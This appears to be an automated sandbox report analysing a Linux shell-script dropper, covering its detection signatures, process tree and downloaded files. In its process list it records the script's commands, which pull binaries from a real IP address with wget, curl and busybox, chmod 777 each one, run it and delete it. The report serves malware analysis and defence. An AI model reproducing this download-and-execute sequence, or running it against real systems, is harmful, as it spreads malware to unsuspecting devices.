Overview

overview

7

Static

static

1

65f56ff8c6...d4e.sh

ubuntu-18.04-amd64

7

65f56ff8c6...d4e.sh

debian-9-armhf

7

65f56ff8c6...d4e.sh

debian-9-mips

7

65f56ff8c6...d4e.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    11s
  • max time network
    15s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/11/2024, 11:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e.sh
  • Size 10KB
  • Sample241111-nmvzeaxrdv
  • SHA256 65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e.sh
    /tmp/65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:670
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
            PID:672
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:680
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
            2⤵
              PID:689
            • /bin/chmod
              chmod 777 ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
              2⤵
              • File and Directory Permissions Modification
              PID:692
            • /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
              ./ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
              2⤵
              • Executes dropped EXE
              PID:693
            • /bin/rm
              rm ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
              2⤵
                PID:695
              • /usr/bin/wget
                wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                2⤵
                  PID:697
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:699
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                  2⤵
                    PID:701
                  • /bin/chmod
                    chmod 777 NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:702
                  • /tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                    ./NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                    2⤵
                    • Executes dropped EXE
                    PID:703
                  • /bin/rm
                    rm NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                    2⤵
                      PID:704
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                      2⤵
                        PID:705
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:706
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                        2⤵
                          PID:707
                        • /bin/chmod
                          chmod 777 8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                          2⤵
                          • File and Directory Permissions Modification
                          PID:709
                        • /tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                          ./8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                          2⤵
                          • Executes dropped EXE
                          PID:710
                        • /bin/rm
                          rm 8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                          2⤵
                            PID:712
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
                            2⤵
                              PID:713

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
                                • Path /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
                                • Size 153B
                                • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                • MD5 SHA1 SHA512
                                Submit Download